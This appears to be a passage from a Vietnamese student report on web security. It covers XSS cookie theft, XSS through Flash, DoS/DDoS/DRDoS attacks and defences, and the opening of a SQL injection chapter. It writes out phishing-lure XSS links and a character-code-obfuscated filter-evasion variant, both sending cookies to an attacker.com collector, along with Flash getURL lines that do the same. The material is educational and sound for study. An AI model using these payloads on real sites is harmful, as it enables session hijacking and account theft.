  • 30. Tóm tắt các bước thực hiện: • Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ hỏng XSS. • Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…). Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ bạn”… • Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker. • Bước 4: Hacker tạo một chương trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin • Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập vào tài khoản của người dùng. Để khai thác lỗ hổng trên ứng dụng doanchuyennganh.com, Hacker có thể thực hiện như sau : <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>do cument.location.replace('http://www.attacker.com/steal.cgi?'+docume nt.cookie);</script>"> Một phần thưởng hấp dẫn đang chờ bạn </a> </body> </html>
  • 31. Sau khi người dùng nhấp vào liên kết “Một phần thưởng hấp dẫn đang chờ bạn”,cookie trên máy nạn nhân sẽ bị đánh cắp và là tham số truyền vào cho chương trình steal.cgi của Hacker. Vấn đề đặt ra là có thể người lập trình sẽ bảo vệ ứng dụng Web của mình bằng cách lọc những kí tự đặc biệt như ‘, hay + (có thể tránh trường hợp dùng dấu ‘ để thực hiện câu truy vấn SQL chẳng hạn)… Nhưng hacker có thể lợi dụng mã hex thay cho những kí tự đặc biệt để tấn công. Thay thế bằng những số hex cho những kí tự ASCII. http://www.attacker.com/steal.cgi? lubid=010000508BD3046103F43B8264530098C20100000000;%20p_uniqid =8sJgk9daas7WUMxV0B;%20gv_titan_20=5901=10195 11286 http://www.attacker.com/steal.cgi: h -> 0x0068 t -> 0x0074 t -> 0x0074 p -> 0x0070 : -> 0x003A / -> 0x002F …
  • 32. Sau đây là ví dụ trong cách dùng mã hex trong ứng dụng web. <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>va r u = String.fromCharCode(0x0068);u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0070);u %2B= String.fromCharCode(0x003A); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x002F); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0061); u %2B= String.fromCharCode(0x0063);u %2B= String.fromCharCode(0x006B); u %2B= String.fromCharCode(0x0065);u %2B= String.fromCharCode(0x0072); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x006F);u %2B= String.fromCharCode(0x006D); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0073); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0065); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x006C); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x0067);u %2B= String.fromCharCode(0x0069); u %2B= String.fromCharCode(0x003F); u %2B=document.cookie;document.location.replace(u);</script>" onMouseOver="window.status=’http://www.hotwired.lycos.com/index2.ht ml';return true" onMouseOut="window.status='';return true">Một phần thưởng hấp dẫn đang chờ bạn </a> </body> </html>
  • 33. 2.3.2.2 Tấn công bằng XSS bằng Flash Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng những tập tin flash để đánh cắp thông tin. Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã được xây dụng sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và tương tự như JavaScript, C hay PERL. Ví dụ hàm getURL() dùng để gọi một trang web khác, tham số thường là một URL chẳng hạn như “http://www.yahoo.com”. Ví dụ như: Tuy nhiên có thể thay thế URL bằng JavaScript: Ví dụ trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập tin flash đó. Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn JavaScript vào ứng dụng Web thông qua tập tin flash. Một ví dụ khác rõ hơn về cách tấn công này là: Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash được đọc: Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho Hacker. Hình 2.4 . Cách viết Action Script trong Flash. getURL(“http://www.yahoo.com”) getURL(“javascript:alert(document.cookie)”) getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+do cument.cookie)”)
  • 34. 2.3.3 Phương pháp phòng chống XSS Với những dữ liệu, thông tin nhập của người dùng, người thiết kế ứng dụng Web cần phải thực hiện vài bước cơ bản sau: - Tạo ra danh sách những thẻ HTML được phép sử dụng. - Xóa bỏ thẻ <script> - Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related nào. - Lọc dấu nháy đơn hay kép - Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null khiến cho ứng dụng dù đã lọc bỏ thẻ <script> vẫn không nhận ra do ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null này). - Xóa những kí tự “ > ”, “ < ” - Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩ riêng. - Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không?. Tùy vào mức độ tin cậy mà người dùng sẽ quyết định. Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại chỉ dừng lại ở mức độ tấn công trên máy nạn nhân thông qua những liên kết hay form lừa đảo mà hacker đưa đến cho nạn nhân. Vì thế, ngoài việc ứng dụng kiểm tra tính đúng đắn của dữ liệu trước khi sử dụng thì việc cần nhất là người dùng nên cảnh giác trước khi bước vào một trang Web mới. Có thể nói, nhờ vào sự cảnh giác của người dùng thì 90% đã đạt được sự bảo mật trong kĩ thuật này. Tuy nhiên, trong chương 6, sự tấn công lại nhắm vào máy chủ, nhằm thu thập thông tin trong cơ sở dữ liệu và từ đó giành quyền quản trị ứng dụng. 2.4. Tấn công từ chối dịch vụ 2.4.1. Tìm hiểu về DOS 2.4.1.1. Khái niệm Tấn công kiểu DoS là kiểu tấn công làm cho các dịch vụ mạng bị tê liệt, không còn khả năng đáp ứng được yêu cầu nữa. Loại tấn công này ảnh hưởng đến nhiều hệ thống, rất dễ thực hiện và lại rất khó bảo vệ hệ thống khỏi kiểu tấn công DoS. Thông thường, kiểu tấn công DoS dựa trên những giao thức (protocol). Ví dụ với giao thức là
  • 35. ICMP, hacker có thể sử dụng bomb e-mail để gửi hàng ngàn thông điệp email với mục đích tiêu thụ băng thông để làm hao hụt tài nguyên hệ thống trên mail server. Hoặc có thể dùng phần mềm gửi hàng loạt yêu cầu đến máy chủ khiến cho máy chủ không thể đáp ứng những yêu cầu chính đáng khác. 2.4.1.2. Những khả năng bị tấn công bằng DOS • TẤN CÔNG TRÊN SWAP SPACE: Hầu hết các hệ thống đều có vài trăm MB không gian chuyển đổi ( swap space) để phục vụ cho những yêu cầu từ máy khách. Swap space thường dùng cho các tiến trình con có thời gian ngắn nên DoS có thể được dựa trên phương thức làm tràn đầy swap space. • TẤN CÔNG TRÊN BANDWIDTH: Phần băng thông dành cho mỗi hệ thống là giới hạn, vì thế nếu hacker cùng lúc gửi nhiều yêu cầu đến hệ thống thì phần băng thông không đủ đáp ứng cho một khối lượng dữ liệu lớn đó và dẫn đến hệ thống bị phá vỡ. • TẤN CÔNG VÀO RAM: Tấn công Dos chiếm 1 khoảng lớn của RAM cũng có thể gây ra các vấn đề phá hủy hệ thống. Kiểu tấn công BufferOverflow là một ví dụ cho cách phá hủy này. • TẤN CÔNG VÀO DISKS: Một kiểu tấn công cổ điển là làm đầy đĩa cứng. Đĩa cứng có thể bị tràn và không thể được sử dụng nữa. 2.4.2. Các kĩ thuật tấn công bằng DOS 2.4.2.1 Khái niệm về TCP bắt tay ba chiều Đầu tiên, để tìm hiểu phương pháp tấn công DoS , ta sẽ tìm hiểu cơ chế làm việc “tcp bắt tay ba chiều”. Gói dữ liệu TCP chứa flag bits (cờ) để mô tả nội dung và mục đích của gói dữ liệu .Ví dụ: • Gói dữ liệu TCP với cờ SYN (synchoronize) dùng để bắt đầu 1 kết nối • ACK (acknowledgement) • FIN (finish) dùng để cắt 1 kết nối
  • 36. Cách hoạt động của gói TCP: Hình 2.5. Cơ chế thiết lập kết nối trước khi truyền số liệu Bước 1: Máy Client gửi gói tin SYN yêu cầu kết nối Bước 2: Nếu máy chủ chấp nhận kết nối, máy chủ sẽ gửi gói tin SYN/ACK Server bắt buộc phải gửi thông báo lại bởi vì TCP là chuẩn tin cậy nên nếu máy Client không nhận được thông báo thì sẽ nghĩ rằng packet đã bị lạc và gửi lại một packet mới . Bước 3: Máy Client gửi hồi đáp bằng gói tin ACK Báo cho máy chủ biết rằng máy con đã nhận được SYN/ACK packet và lúc này kết nối đã được thiết lập. 2.4.2.2 Lợi dụng TCP thực hiện phương pháp SYN Flood truyền thống Hình 2.6. Tấn công DoS truyền thống
  • 37. Như đã đề cập về vấn đề thiết lập kết nối trong phần 1, bất cứ 1 gói tin SYN, máy chủ cũng phải để 1 phần tài nguyên của hệ thống như bộ nhớ đệm để nhận và truyền dữ liệu cho đường truyền đó. Tuy nhiên, tài nguyên của hệ thống là có hạn và hacker sẽ tìm mọi cách để hệ thống tràn qua giới hạn đó. ( Đây còn được gọi là half- open connection vì máy khách mở kết nối giữa chừng). Theo hình 9.III.2-1: Nếu máy chủ sau khi gửi trả một gói tin SYN/ACK để thông báo chấp nhận kết nối cho máy yêu cầu nhưng nếu địa chỉ IP của máy yêu cầu này là giả mạo thì gói tin không thể đến được đích, nên máy chủ vẫn phải dành tài nguyên cho yêu cầu đó. Sau một thời gian không nhận được phản hồi từ máy khách, máy chủ lại tiếp tục gửi một gói tin SYN/ACK để xác nhận lần nữa và cứ như vậy, kết nối vẫn tiếp tục mở. Nếu như Hacker gửi nhiều gói tin SYN đến máy chủ đến khi máy chủ không thể tiếp nhận thêm 1 kết nối nào nữa thì lúc này hệ thống đã bị phá vỡ. Chỉ với một đường truyền băng thông nhỏ, hacker đã có thể phá vỡ một hệ thống. Thêm vào đó, địa chỉ IP của hacker có thể được sửa đổi nên việc xác định thủ phạm là một vấn đề hết sức khó khăn. 2.4.2.3 Tấn công vào băng thông  Kiểu tấn công thứ nhất: Hacker hoàn toàn có khả năng làm ngập hệ thống vì băng thông của hacker lớn hơn băng thông của máy đích. Kiểu tấn công này không bị hạn chế bởi tốc độ truyền mạng. Ví dụ: Hacker có một đường truyền tốc độ cao T1 ( 1.544- Mbps ) hay lớn hơn có thể dễ dàng phá vỡ một hệ thống có đường truyền 56Kbps.  Kiểu tấn công thứ hai: Kiểu tấn công này được sử dụng khi đường truyền mạng của hacker là quá thấp so với đường truyền của máy đích. Không giống như kiểu tấn công DoS truyền thống, kiểu tấn công vào băng thông lớn hơn sẽ lợi dụng những gói tin từ những hệ thống khác nhau cùng một lúc tiến đến hệ thống đích khiến cho đường truyền của hệ thống đích không còn khả năng đáp ứng, máy chủ không còn khả năng nhận một gói tin nào nữa.
  • 38. Hình 2.7 Kiểu tấn công DoS vào băng thông Theo hình 2.7, tất cả các gói tin đi vào 1 mạng máy tính qua 1 "Big-Pipe" ( ống dẫn lớn ), sau đó được router chia ra những "Small Pipe" ( ống dẫn nhỏ ) cho nhiều máy tính con tùy theo địa chỉ IP của gói tin. Nhưng nếu toàn bộ "Big-Pipe" bị làm ngập bằng những gói tin chỉ hướng đến 1 máy nhất định trong mạng máy tính con này, router đành phải chấp nhận loại bỏ phần lớn các packet để chỉ còn lại số lượng vừa đủ đi qua "Small Pipe" của máy tính đó. Kiểu tấn công này sẽ loại máy đích ra khỏi Internet. Đây là phương pháp tấn công kiểu từ chối dịch vụ nhưng không là DoS mà gọi là DDoS ( kiểu từ chối dịch vụ phân tán ), nghĩa là cùng một lúc nhiều máy sẽ được phát động để gửi gói tin đến máy đích ( mặc dù đường truyền của mỗi máy không cao nhưng nhiều đường truyền lại hợp thành một ống dẫn “ Big Pipe”), làm cho máy đích không còn khả năng tiếp nhận gói tin và bị loại khỏi mạng Internet, như sơ đồ minh họa sau: Hình 2.8. Tấn công DDoS  ™ DRDoS (Distributed Reflection Denial of Service) - Thế hệ tiếp theo của DDoS:
  • 39. Hình sau sẽ minh họa kiểu tấn công DRDoS này. Hình 2.9. Tấn công kiểu DRDoS Bằng cách giả địa chỉ IP của máy đích, hacker sẽ cùng lúc gửi nhiều gói tin đến các hệ thống máy mạnh trên mạng, các hệ thống này khi nhận gói tin SYN giả này, chấp nhận kết nối và gửi trả một gói tin SYN/ACK để thông báo. Vì địa chỉ IP của gói tin SYN bị hacker sửa đổi thành địa chỉ IP máy đích nên những gói tin SYN/ACK sẽ được gửi về cho máy đích. Cùng một lúc nhận được nhiều gói tin, đường truyền của máy đích không đủ khả năng đáp ứng, hệ thống máy đích từ chối nhận bất kì gói tin nào và lúc này hệ thống máy đích đã bị sụp đổ. 2.4.2.4. Tấn công vào tài nguyên hệ thống Đây là kiểu tấn công nhằm vào tài nguyên hệ thống hơn là tài nguyên mạng như CPU, bộ nhớ, file hệ thống, tiến trình…..Hacker là một người dùng hợp lệ của hệ thống, và được một lượng tài nguyên giới hạn trên hệ thống. Tuy nhiên, hacker sẽ lạm dụng quyền truy cập này để yêu cầu thêm tài nguyên. Như vậy, hệ thống hay những người dùng hợp lệ sẽ bị từ chối sử dụng tài nguyên chia sẻ. Kiểu tấn công sẽ khiến cho hệ thống không thể sử dụng được vì tài nguyên đã bị sử dụng hết, không còn tiến trình để thực thi nữa. 2.4.3. Phương pháp phòng chống DOS, DDOS Kiểu tấn công từ chối dịch vụ là kiểu tấn công gây nhiều khó khăn trong vấn đề bảo vệ cũng như điều tra tìm ra thủ phạm nhất, bởi vì hầu hết hacker đã thay đổi địa chỉ IP của máy mình nên rất khó xác định ai là thủ phạm. Để phòng chống khả năng khuếch đại đường truyền, cần:
  • 40. • Huỷ khả năng broadcast tại router biên • Tăng kích thước hàng đợi kết nối Kết quả: có thể phòng tránh khả năng tràn hàng đợi qua nhiều kết nối, nhưng cách này sử dụng nhiều tài nguyên • Giảm thời gian thiết lập kết nối • Dùng những phần mềm phát hiện và phá hủy kiểu tấn công DoS: Hầu hết những hệ điều hành hiện nay đều hỗ trợ khả năng phát hiện và phòng chống kiểu tấn công ngập lụt SYN. Tuy nhiên cũng đã có những phần mềm được có khả năng tránh kiểu tấn công này. Ví dụ như với Linux kernels 2.0.30 và về sau cài đặt một tùy chọn gọi là SYN Cookie, kernel có nhiệm vụ truy tìm và lưu vết những khả năng có thể xảy ra kĩ thuật SYN. Sau đó, kernel sẽ sử dụng một giao thức mã hoá như SYN cookie cho phép người dùng hợp lệ của hệ thống tiếp tục kết nối đến hệ thống. Với WindowNT 4.0 trở về sau, sử dụng kĩ thuật backlog, mỗi khi hàng đợi kết nối không đủ đáp ứng, hệ thống tự động cung cấp tài nguyên cho hàng đợi, vì thế hang đợi sẽ không bị phá vỡ. • Ứng dụng chỉ cho phép mỗi một máy con chỉ được thiết lập số kết nối tối đa theo qui định tránh trường hợp hacker gửi cùng lúc nhiều yêu câu gây tắc nghẽn.
  • 41. CHƯƠNG III: TRIỂN KHAI CÁC PHƯƠNG PHÁP TẤN CÔNG VÀ GIẢI PHÁP BẢO MẬT WEBSITE. 3.1. SQL Injection Để tiến hành tìm kiếm lỗi SQL Injection chúng ta sử dụng một số công cụ như: + Sql Poizon v1.1 Hình 3.1. Công cụ Sql Poizon v1.1 + XCodeXploitScanner Hình 3.2. Công cụ XCodeXploitScanner Sau khi đã tìm được Website nghi vấn ta tiến hành kiểm tra lổi bằng cách thêm dấu “’” vào sau url: